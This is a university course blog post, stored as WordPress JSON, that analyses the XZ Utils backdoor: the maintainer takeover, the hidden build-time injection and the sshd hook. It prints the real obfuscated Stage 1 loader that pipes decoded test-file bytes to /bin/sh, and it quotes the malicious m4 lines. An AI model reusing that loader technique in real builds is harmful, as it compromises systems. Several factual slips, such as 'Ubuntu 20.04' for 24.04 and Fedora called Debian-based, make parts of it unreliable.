{"id":816,"date":"2024-10-15T12:45:21","date_gmt":"2024-10-15T18:45:21","guid":{"rendered":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/?p=816"},"modified":"2024-10-15T12:45:26","modified_gmt":"2024-10-15T18:45:26","slug":"the-xz-backdoor-a-10-0-cvss-exploit-we-just-barely-avoided","status":"publish","type":"post","link":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/2024\/10\/15\/the-xz-backdoor-a-10-0-cvss-exploit-we-just-barely-avoided\/","title":{"rendered":"The XZ Backdoor: A 10.0 CVSS Exploit We Just Barely Avoided"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Introduction<\/h2>\n\n\n\n<p class=\"has-small-font-size wp-block-paragraph\">The beginning of the calendar year is an important time for the Linux Ecosystem, as it sees the release of many important projects and distributions. Perhaps most important is the coordinated release of the prolific GNOME desktop environment, who\u2019s biannual release cycle sees a new version in March and September (1), and the Ubuntu and Fedora distributions who rely on this environment, and release new versions shortly thereafter. 2024 was an especially important year, as the new Ubuntu 24.04, Noble Numbat, was designated an LTS release (2). Whereas typical Ubuntu versions are supported for a single year before deemed end-of-life, and thus requiring servers to upgrade to newer versions, LTS releases\u2014released every two years\u2014are supported significantly longer, and an even longer period for security fixes. Ubuntu 16.04, released back in 2016, is still slated to received Extended Security Maintenance until 2026 (3), and Noble Numbat was released with Standard Support until 2029, and Extended Security Support until 2034 (2).<\/p>\n\n\n\n<p class=\"has-small-font-size wp-block-paragraph\">On March 29th, just a week before Ubuntu 20.04 was to release, Andres Freund, a Microsoft employee, was conducting personal tests after noticing strange errors and excessive CPU usage in <code>sshd<\/code>, the OpenSSH daemon that allows for server administrators to perform remote maintenance to their servers (4). Unlike Telnet, SSH allows for secure, encrypted access to remote computers, and with the ubiquity of cloud machines provided in services like AWS, Google Cloud, and Azure, SSH has become an instrumental tool installed on almost every Linux Server. Andres\u2019 revealed a startling discovery: The XZ compression library had maliciously compromised the OpenSSH daemon, providing a backdoor that would allow an attacker root access to any server exposing an SSH server. This vulnerability was soon to be released not only to users upgrading to the anticipated Ubuntu 20.04, but to all Debian-based distributions including the likes of Fedora and RHEL. Fedora 40, the bleeding-edge nightly version, was already vulnerable. Immediately after this discovery, distributions rushed to patch the vulnerability; Ubuntu 20.04 was postponed by a week to ensure that the backdoor would not be deployed, and the XZ repository was removed from GitHub, with the two core contributors banned from the site. But how could a compression library install a backdoor into OpenSSH? How did this backdoor work? Who was behind it?<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">XZ<\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" width=\"266\" height=\"216\" data-src=\"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-content\/uploads\/sites\/119\/2024\/10\/image-7.png\" alt=\"\" class=\"wp-image-817 lazyload\" style=\"--smush-placeholder-width: 266px; --smush-placeholder-aspect-ratio: 266\/216;width:297px;height:auto\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" \/><\/figure>\n<\/div>\n\n\n<p class=\"has-text-align-center has-small-font-size wp-block-paragraph\"><em>A logo used for the XZ Compression Library, contributed by Jia Tan<\/em><\/p>\n\n\n\n<p class=\"has-small-font-size wp-block-paragraph\">Compression is an essential aspect of modern computing. If you\u2019ve ever downloaded or created a zip file, you\u2019ve used compression. The idea behind compression is almost akin to magic: given a set of arbitrary data, produce an output that is not only smaller than the original input, but data that can be reconstructed back to the initial input. There are two primary forms of compression: <em>Lossless<\/em>, and <em>Lossy<\/em>. A good example of these two are in music and images; formats such as <em>.mp4<\/em> and <em>.jpeg<\/em> are lossy forms of compression: the output isn\u2019t exactly the same as the input, but when we\u2019re working with medium likes images the slight deterioration in visual quality is either imperceptible, or an acceptable trade-off given the significant reduction in bandwidth that we achieve. Online video streaming is only possible thanks to such compression, as most internet connections would be unable to accommodate the raw stream. If we consider a standard HD stream of 1080 * 1920 = 2073600 pixels, sent every sixtieth of a second for 60 FPS, and assuming a pixel requires three bytes to store (256 values of R,G,B), that would equate to 355 MB every second.<\/p>\n\n\n\n<p class=\"has-small-font-size wp-block-paragraph\">Lossless compression, on the other hand is an algorithm like the one we mentioned prior: it perfectly reconstructs the original source. In contrast to <em>.mp4<\/em> and <em>.jpeg<\/em>, <em>.flac<\/em> and <em>.png<\/em> are both lossless forms of compressed media and images. Lossless is often used in these contexts either for archival purposes or for higher fidelity, but often cannot be compressed down as well as lossless might. Unlike images, videos, and music, files like binary executables and libraries cannot afford to be losslessly compressed. A slight change in the byte code would be cataclysmic.<\/p>\n\n\n\n<p class=\"has-small-font-size wp-block-paragraph\"><em>XZ<\/em> is a popular implementation of the Lempel\u2013Ziv\u2013Markov chain compression algorithm, often abbreviated to LZMA. LZMA is a form of lossless compression algorithm called a <em>Dictionary Compression Algorithm<\/em>. The idea behind it is to find frequent strings within the input, and assign them a single identifier that is much smaller than the original string. We then send this compressed stream, alongside a dictionary that contains a mapping of these uncompressed strings, and their corresponding identifiers. Lossless compression is very useful for a variety of purposes, and XZ in particular is used in Linux for: compressing kernel modules (5), compressing software packages in Debian and Fedora based distributions (Including Ubuntu), and compress network communication where the output must be lossless, such as in OpenSSH (6). XZ is so widespread in its usage that its preinstalled on almost every Linux Distribution.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Lasse Collin<\/h3>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" width=\"385\" height=\"489\" data-src=\"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-content\/uploads\/sites\/119\/2024\/10\/image-8.png\" alt=\"\" class=\"wp-image-818 lazyload\" style=\"--smush-placeholder-width: 385px; --smush-placeholder-aspect-ratio: 385\/489;width:289px;height:auto\" data-srcset=\"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-content\/uploads\/sites\/119\/2024\/10\/image-8.png 385w, https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-content\/uploads\/sites\/119\/2024\/10\/image-8-236x300.png 236w\" data-sizes=\"(max-width: 385px) 100vw, 385px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" \/><\/figure>\n<\/div>\n\n\n<p class=\"has-text-align-center has-small-font-size wp-block-paragraph\"><em>Someday ImageMagick will finally break for good and we&#8217;ll have a long period of scrambling as we try to reassemble civilization from the rubble.<\/em><\/p>\n\n\n\n<p class=\"has-small-font-size wp-block-paragraph\">The XZ project was created by a single individual, Lasse Collin, who wanted to create a port of Igor Pavlov\u2019s LZMA-SDK, which the latter used to create the popular 7zip application. Created as a hobby project, Lasse has been thanklessly maintaining the project since 2009, and despite how popular the library has become, and how widespread its usage has been, Lasse remains the largest contributor by a vast margin; his contributions of over 2,000 commits total close to a quarter million lines of code added, and is over four times as many commits as every other contributor combined (7). What began as a hobby quickly devolved into a critical part of the Linux ecosystem, and Lasse was neither provided thanks or assistance in the maintenance.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Jia Tan<\/h3>\n\n\n\n<p class=\"has-small-font-size wp-block-paragraph\">In 2021, a GitHub account under the pseudonym of Jia Tan was created; it would lay dormant until 2022 where they made their first commit to the XZ repository. The account quickly became a major contributor to the XZ project, which would have certainly been a welcome change for Lasse (8). Their contributions were such that Jia was eventually granted the status of co-maintainer 2023; this meant that, rather than having to create a pull request to the XZ library and have Lasse merge the changes into the mainline repository, Jia could make direct commits to the XZ repository. For the first time since the XZ project had been started, Lasse was no longer the primary contributor to the project, with Jia Tan taking over a majority of the project\u2019s maintenance (9); from when Jia was granted co-maintainer in 2023, to the discovery of the backdoor in March of 2024, Jia contributed 48,000 lines of code across 404 commits, compared to Lasse\u2019s 10,000 across 283. For a point of reference, Jia and Lasse\u2019s commits made up 96% of all contributions to the project, with all other contributors combined only making up 110 of the 2657 total (7).<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">The Backdoor<\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img decoding=\"async\" width=\"732\" height=\"1024\" data-src=\"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-content\/uploads\/sites\/119\/2024\/10\/image-9-732x1024.png\" alt=\"\" class=\"wp-image-820 lazyload\" style=\"--smush-placeholder-width: 732px; --smush-placeholder-aspect-ratio: 732\/1024;width:460px;height:auto\" data-srcset=\"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-content\/uploads\/sites\/119\/2024\/10\/image-9-732x1024.png 732w, https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-content\/uploads\/sites\/119\/2024\/10\/image-9-214x300.png 214w, https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-content\/uploads\/sites\/119\/2024\/10\/image-9-768x1075.png 768w, https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-content\/uploads\/sites\/119\/2024\/10\/image-9-1097x1536.png 1097w, https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-content\/uploads\/sites\/119\/2024\/10\/image-9-1463x2048.png 1463w, https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-content\/uploads\/sites\/119\/2024\/10\/image-9-1568x2195.png 1568w, https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-content\/uploads\/sites\/119\/2024\/10\/image-9.png 1829w\" data-sizes=\"(max-width: 732px) 100vw, 732px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" \/><\/figure>\n<\/div>\n\n\n<p class=\"has-small-font-size wp-block-paragraph\">The common consensus is that Jia Tan had always been a malicious actor, and had thus spent several years slowly building up trust within the community, being granted co-maintainer in 2023, and continuing to prove themselves as a reliable, earnest contributor (10); as such, the creation of the backdoor was slow, and meticulous:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li class=\"has-small-font-size\">On July 8th, 2023, Jia introduced a commit in <code>oss-fuzz<\/code>, a project used by many open source projects, including XZ. <code>oss-fuzz<\/code> performs fuzzing, or a means of automatically testing the project for edge cases, and catch invalid behavior. The commit disabled <code>ifunc<\/code> fuzzing for the <code>xz<\/code> project. (14). <code>ifunc<\/code> is a mechanism in <code>glibc<\/code> that allows for indirect function calls.<\/li>\n\n\n\n<li class=\"has-small-font-size\">On February 15th, 2024, Jia introduced a commit that stopped the contents of the <code>m4<\/code> folder from behind committed to the repository. This folder contained the <code>build-to-host.m4<\/code> file which was run during build time. XZ could be compiled one of two ways: either directly from the GitHub repository, which would be the bleeding-edge, latest commit, or by downloading release tarballs that were packed versions of the repository for specific versions, such as <code>5.6.0<\/code>. Package maintainers for the various distributions could then download that tar file, containing a versioned, stable versioned source, and build that. Distributions like Ubuntu and Fedora build from tarballs rather than source. Importantly Jia still put the content of this <code>m4<\/code> repository into the tarball releases, but they were not checked into the GitHub repository such that they could be easily seen. The differences between the in-tree script and the one within the release tarballs reveal how inconspicuous the changes seem to be (12):<\/li>\n\n\n\n<li class=\"has-small-font-size\">On February 23rd, 2024, Jia introduced a set of insidiously innocuous commits that added test files to the repository (11). The XZ project has a <code>test<\/code> folder that contains compressed LZMA files; this type of unit testing ensures that new commits do not break compression\/decompression using a variety of settings, and is not out of the ordinary. However, because these test files are compressed binaries, GitHub would not be able to report the contents, and there was no reason to suspect foul play after years of contribution to the project. The <code>build-to-host.m4<\/code> acts on these test files during the build, typically to ensure the resultant binary acts as expected.<\/li>\n\n\n\n<li class=\"has-small-font-size\">On February 24th, 2024, Jia releases version 5.6.0 of XZ, publishing the tarball containing the malicious test files and <code>m4<\/code> scripts (16). The backdoor operators in three stages (17):\n<ul class=\"wp-block-list\">\n<li class=\"has-small-font-size\">By changing bytes within the test files, the script can decode a hidden script. The relevant section of the <code>build-to-host.m4<\/code> script are: <code>gl_[$1]_config='sed \\\"r\\n\\\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2&gt;\/dev\/null'<\/code> and <code>gl_path_map='tr \"\\t \\-_\" \" \\t_\\-\"'<\/code>, both of which are intentionally verbose and dense to allow the backdoor to hide in plain sight (18)<\/li>\n\n\n\n<li class=\"has-small-font-size\">The hidden script detects the system architecture, tool-chain, and distribution (IE Ubuntu), and only injects the payload on specific distributions, specifically <code>amd64<\/code> systems running <code>glibc<\/code> using either Debian or Red Hat derived distributions (12). If the architecture and system match, the script constructs the payload by reading specific bytes from the test files.<\/li>\n\n\n\n<li>Finally, the resultant payload is saved as <code>liblzma_la-crc64-fast.o<\/code>, the backdoor. Notice that Jia Tan did not include any malicious file in the repository, or the tarballs, instead, they nefariously <em>generated<\/em> the scripts by constructing it from various, specific bytes in the test binaries. Such a level of obfuscation is practically unheard of, and indicative of a highly motivated, funded attacker with a deep knowledge and experience in creating these kinds of payloads.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li class=\"has-small-font-size\">On March 9th, 2024, Jia introduced commits to improve the backdoor with new test files (19). This improved version is published as a new tarball in version 5.6.1<\/li>\n\n\n\n<li class=\"has-small-font-size\">On March 29th, 2024, Andres sent his report about the discovery of the backdoor. It took over a month before anyone noticed the backdoor in 5.6.0. He noticed the new line in the <code>built-to-host.m4<\/code> was present in the Debian tarballs, but <em>not<\/em> in the XZ repository (4).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-small-font-size wp-block-paragraph\">To give you an understanding of how unbelievably obfuscated this payload was, the following is the Stage 1 Script discovered by Andres, which creates the payload:<\/p>\n\n\n\n<pre class=\"wp-block-code\" style=\"font-size:12px\"><code>####Hello####\n#\ufffd\ufffdZ\ufffd.hj\ufffd\neval `grep ^srcdir= config.status`\nif test -f ..\/..\/config.status;then\neval `grep ^srcdir= ..\/..\/config.status`\nsrcdir=\"..\/..\/$srcdir\"\nfi\nexport i=\"((head -c +1024 &gt;\/dev\/null) &amp;&amp; head -c +2048 &amp;&amp; (head -c +1024 &gt;\/dev\/null) &amp;&amp; head -c +2048 &amp;&amp; (head -c +1024 &gt;\/dev\/null) &amp;&amp; head -c +2048 &amp;&amp; (head -c +1024 &gt;\/dev\/null) &amp;&amp; head -c +2048 &amp;&amp; (head -c +1024 &gt;\/dev\/null) &amp;&amp; head -c +2048 &amp;&amp; (head -c +1024 &gt;\/dev\/null) &amp;&amp; head -c +2048 &amp;&amp; (head -c +1024 &gt;\/dev\/null) &amp;&amp; head -c +2048 &amp;&amp; (head -c +1024 &gt;\/dev\/null) &amp;&amp; head -c +2048 &amp;&amp; (head -c +1024 &gt;\/dev\/null) &amp;&amp; head -c +2048 &amp;&amp; (head -c +1024 &gt;\/dev\/null) &amp;&amp; head -c +2048 &amp;&amp; (head -c +1024 &gt;\/dev\/null) &amp;&amp; head -c +2048 &amp;&amp; (head -c +1024 &gt;\/dev\/null) &amp;&amp; head -c +2048 &amp;&amp; (head -c +1024 &gt;\/dev\/null) &amp;&amp; head -c +2048 &amp;&amp; (head -c +1024 &gt;\/dev\/null) &amp;&amp; head -c +2048 &amp;&amp; (head -c +1024 &gt;\/dev\/null) &amp;&amp; head -c +2048 &amp;&amp; (head -c +1024 &gt;\/dev\/null) &amp;&amp; head -c +2048 &amp;&amp; (head -c +1024 &gt;\/dev\/null) &amp;&amp; head -c +724)\";(xz -dc $srcdir\/tests\/files\/good-large_compressed.lzma|eval $i|tail -c +31265|tr \"\\5-\\51\\204-\\377\\52-\\115\\132-\\203\\0-\\4\\116-\\131\" \"\\0-\\377\")|xz -F raw --lzma1 -dc|\/bin\/sh\n####World####<\/code><\/pre>\n\n\n\n<p class=\"has-small-font-size wp-block-paragraph\">The i value is the eventual script, which you can see is passed the <code>good-large_compressed.lmza<\/code> before the script is evaluated via <code>eval $i<\/code>.<\/p>\n\n\n\n<p class=\"has-small-font-size wp-block-paragraph\">Even worse, Andres\u2019 report mentions that:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"has-small-font-size wp-block-paragraph\">Subsequently the injected code (more about that below) caused valgrind errors<br>and crashes in some configurations, due the stack layout differing from what<br>the backdoor was expecting. These issues were attempted to be worked around<br>in 5.6.1 (4)<\/p>\n<\/blockquote>\n\n\n\n<p class=\"has-small-font-size wp-block-paragraph\">This seems to indicate that if Jia Tan had discovered these issues prior putting his exploit into 5.6.0, Andres\u2019 wouldn\u2019t have picked up on exploit, as 5.6.1 resolved the issues that Andres noticed that started the investigation in the first place. If Jia Tan had just been a <em>little<\/em> more patient in his meticulously planned, two year infiltration of XZ, and had caught this before 5.6.0 was released, there&#8217;s a good chance that the backdoor would not only have been packaged into most major Linux Distributions, but would have gone unnoticed for a very long time. That Jia Tan&#8217;s code contained a minor issue in 5.6.0 causing slight performance degradation, and that Andres&#8217; had not only noticed this, but had investigated it further before Ubuntu 24.04 was released is such a set of such baffling coincidences that it is beyond words.<\/p>\n\n\n\n<p class=\"has-small-font-size wp-block-paragraph\">However, we still haven\u2019t answered the question as to how a malicious payload in XZ can somehow create backdoor in OpenSSH. Turns out, <code>liblzma<\/code> is a dependency of <code>libsystemd<\/code>, which is often loaded by <code>sshd<\/code> (12). Once loaded, the <code>liblzma<\/code> backdoor hooks the <code>RSA_public_decrypt<\/code> function in <code>sshd<\/code> using the <code>ifunc<\/code> method that Jia Tan had innocuously removed from <code>oss-fuzz<\/code>&#8216;s testing. The backdoor does not allow the <code>sshd<\/code> authentication daemon to be bypassed by anyone, however, it only works with the attacker\u2019s public key: <code>0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28 34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48 10 0c b0 6c 3a be 14 ee 89 55 d2 45 00 c7 7f 6e 20 d3 2c 60 2b 2c 6d 31 00<\/code>. OpenSSH works as normal, and system administrators can login with their credential, but if the attacker provides a specifically crafted packet with their own public key, the daemon will execute the command provided in the packet with superuser privilege using the <code>system()<\/code> call. This causes the process to fork a new process, and run <code>execl<\/code> on whatever was provided. Worst of all, the backdoor did not \u201cprovide a root shell\u201d in the traditional sense, since such activity could have then been logged. Instead, the OpenSSH daemon will simply notice any packets that contain the valid key, create a temporary fork that execute the command, and then return back to normal without any trace of the packet or command run.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Conclusion<\/h2>\n\n\n\n<p class=\"has-small-font-size wp-block-paragraph\">It is not an exaggeration to say that the XZ backdoor could have been one of the most severe security vulnerabilities in history. If it had gone unnoticed, millions of servers updating to the newly released Ubuntu, Debian, Fedora, and RHEL distributions would unwittingly provide unfettered access of their machine to the attacker. By using such obfuscation in the injection of the payload, and the ephemeral nature of how the backdoor is exploited, it is unlikely that it would have been discovered quickly, especially if Jia Tan had waited until resolving the issues between 5.6.0 and 5.6.1; few people have the technical prowess to notice an apparent regression and, rather than waiting for a fix to appear upstream, actively dive into the code and try and deduce the root cause. If Andres had released his findings even a week later, the attackers could have had more than enough time to target countless servers and caused untold damage. The unfathomable inability for some server administrators to update their systems would have prolonged the issue even further. Andres\u2019 timing allowed for Ubuntu and Fedora to patch the vulnerability before deploying it to their customers, and the importance of that timing cannot be understated.<\/p>\n\n\n\n<p class=\"has-small-font-size wp-block-paragraph\">The care in crafting the payload, with Jia Tan (which is suspected to be a pseudonym for a group of individuals) spending years building trust and eventually becoming the primary maintainer of the project shows the patience of the attacker, which makes it all the more satisfying that they were thwarted just before they could capitalize on their years of effort, if not also deeply concerning just how close we were to calamity. All by a developer noticing a negligible slowdown in the <code>sshd<\/code> daemon a week before.<\/p>\n\n\n\n<p class=\"has-small-font-size wp-block-paragraph\">We should be immensely grateful for the work of individuals like Andres, but that the situation was able to reach such a point that his investigation was necessary reveals a deeply flawed system. That developers like Lasse are burdened with the maintenance of critical piece of software infrastructure, software initially made as a hobby, and that said developers are expected to thanklessly maintain that infrastructure without the help of those using it is entirely unacceptable. Lasse\u2019s GitHub account was quickly reinstated, and he cannot be blamed for giving Jia Tan the power he needed to install his backdoor after thanklessly maintaining his library for over a decade; anyone who has ever worked on a personal project knows how mentally draining it can be to put in years of work, especially when passion and interest turn into obligation. However, despite the wake-up call this situation provided, the situation has returned back to status quo: Lasse remains the primary contributor of the project, and nobody seems to be willing to step up and help.<\/p>\n\n\n\n<p class=\"has-small-font-size wp-block-paragraph\">So, what can we learn from this situation?<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li class=\"has-small-font-size\">We need to ensure that important projects are given sufficient attention; individuals like Lasse should not be forced to maintain projects of such important as XZ by themselves. Companies like Canonical and RedHat should invest resources to ensure that these critical pieces of their software empires are getting the assistance and oversight that they deserve.<\/li>\n\n\n\n<li class=\"has-small-font-size\">More stringent security practices need to be employed to prevent these issues from appearing in the first place. Release tarball should be verified so that they do not include files that differ from the repository at the state the tarball was created. Binary files, even for testing, should be sparsely employed in a repository, even less so if those files are involved in the build process. If binary files are included, they should be heavily scrutinized for malicious behavior.<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\">References<\/h2>\n\n\n\n<ol class=\"wp-block-list\">\n<li class=\"has-small-font-size\">https:\/\/help.gnome.org\/misc\/release-notes\/<\/li>\n\n\n\n<li class=\"has-small-font-size\">https:\/\/ubuntu.com\/blog\/canonical-releases-ubuntu-24-04-noble-numbat<\/li>\n\n\n\n<li class=\"has-small-font-size\">https:\/\/lists.ubuntu.com\/archives\/ubuntu-security-announce\/2021-March\/005930.html<\/li>\n\n\n\n<li class=\"has-small-font-size\">https:\/\/www.openwall.com\/lists\/oss-security\/2024\/03\/29\/4<\/li>\n\n\n\n<li class=\"has-small-font-size\">https:\/\/www.kernel.org\/doc\/html\/latest\/staging\/xz.html<\/li>\n\n\n\n<li class=\"has-small-font-size\">https:\/\/docs.ssh.com\/manuals\/server-admin\/44\/Compression.html<\/li>\n\n\n\n<li class=\"has-small-font-size\">https:\/\/github.com\/tukaani-project\/xz\/graphs\/contributors<\/li>\n\n\n\n<li class=\"has-small-font-size\">https:\/\/arstechnica.com\/security\/2024\/04\/what-we-know-about-the-xz-utils-backdoor-that-almost-infected-the-world\/<\/li>\n\n\n\n<li class=\"has-small-font-size\">https:\/\/github.com\/tukaani-project\/xz\/commits\/master\/<\/li>\n\n\n\n<li class=\"has-small-font-size\">https:\/\/daily.dev\/blog\/xz-backdoor-the-full-story-in-one-place<\/li>\n\n\n\n<li class=\"has-small-font-size\">https:\/\/github.com\/tukaani-project\/xz\/commit\/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0<\/li>\n\n\n\n<li class=\"has-small-font-size\">https:\/\/gist.github.com\/thesamesam\/223949d5a074ebc3dce9ee78baad9e27<\/li>\n\n\n\n<li class=\"has-small-font-size\">https:\/\/docs.kernel.org\/userspace-api\/landlock.html<\/li>\n\n\n\n<li class=\"has-small-font-size\">https:\/\/github.com\/google\/oss-fuzz\/pull\/10667\/files<\/li>\n\n\n\n<li class=\"has-small-font-size\">https:\/\/jfrog.com\/blog\/xz-backdoor-attack-cve-2024-3094-all-you-need-to-know\/<\/li>\n\n\n\n<li class=\"has-small-font-size\">https:\/\/github.com\/tukaani-project\/xz\/commit\/a18fb1edef0d0aac12a09eed05e9c448c777af7b<\/li>\n\n\n\n<li class=\"has-small-font-size\">https:\/\/www.elastic.co\/security-labs\/500ms-to-midnight<\/li>\n\n\n\n<li class=\"has-small-font-size\">https:\/\/gynvael.coldwind.pl\/?lang=en&amp;id=782<\/li>\n\n\n\n<li class=\"has-small-font-size\">https:\/\/git.tukaani.org\/?p=xz.git;a=commit;h=6e636819e8f070330d835fce46289a3ff72a7b89<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Image References<\/h3>\n\n\n\n<p class=\"has-small-font-size wp-block-paragraph\">Featured Image: <a href=\"https:\/\/research.hisolutions.com\/wp-content\/uploads\/2024\/04\/Backdoor_Matrix.jpg\">https:\/\/research.hisolutions.com\/wp-content\/uploads\/2024\/04\/Backdoor_Matrix.jpg<\/a><\/p>\n\n\n\n<p class=\"has-small-font-size wp-block-paragraph\">Other (In Order of Appearance)<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li class=\"has-small-font-size\"><a href=\"https:\/\/upload.wikimedia.org\/wikipedia\/commons\/6\/67\/XZ_logo_contributed_by_Jia_Tan.png\">https:\/\/upload.wikimedia.org\/wikipedia\/commons\/6\/67\/XZ_logo_contributed_by_Jia_Tan.png<\/a><\/li>\n\n\n\n<li class=\"has-small-font-size\"><a href=\"https:\/\/www.explainxkcd.com\/wiki\/images\/d\/d7\/dependency.png\">https:\/\/www.explainxkcd.com\/wiki\/images\/d\/d7\/dependency.png<\/a><\/li>\n\n\n\n<li class=\"has-small-font-size\"><a href=\"https:\/\/cdn.arstechnica.net\/wp-content\/uploads\/2024\/04\/xz-backdoor-graphic-thomas-roccia-scaled.jpg\">https:\/\/cdn.arstechnica.net\/wp-content\/uploads\/2024\/04\/xz-backdoor-graphic-thomas-roccia-scaled.jpg<\/a><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Introduction The beginning of the calendar year is an important time for the Linux Ecosystem, as it sees the release of many important projects and distributions. Perhaps most important is the coordinated release of the prolific GNOME desktop environment, who\u2019s biannual release cycle sees a new version in March and September (1), and the Ubuntu &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/2024\/10\/15\/the-xz-backdoor-a-10-0-cvss-exploit-we-just-barely-avoided\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;The XZ Backdoor: A 10.0 CVSS Exploit We Just Barely Avoided&#8221;<\/span><\/a><\/p>\n","protected":false},"author":660,"featured_media":821,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-816","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized","entry"],"featured_image_src":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-content\/uploads\/sites\/119\/2024\/10\/Backdoor_Matrix-600x400.jpg","featured_image_src_square":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-content\/uploads\/sites\/119\/2024\/10\/Backdoor_Matrix-600x600.jpg","author_info":{"display_name":"Kyle Kernick","author_link":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/author\/kyle-kernick\/"},"_links":{"self":[{"href":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-json\/wp\/v2\/posts\/816","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-json\/wp\/v2\/users\/660"}],"replies":[{"embeddable":true,"href":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-json\/wp\/v2\/comments?post=816"}],"version-history":[{"count":5,"href":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-json\/wp\/v2\/posts\/816\/revisions"}],"predecessor-version":[{"id":825,"href":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-json\/wp\/v2\/posts\/816\/revisions\/825"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-json\/wp\/v2\/media\/821"}],"wp:attachment":[{"href":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-json\/wp\/v2\/media?parent=816"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-json\/wp\/v2\/categories?post=816"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/wpsites.ucalgary.ca\/jacobson-cpsc\/wp-json\/wp\/v2\/tags?post=816"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}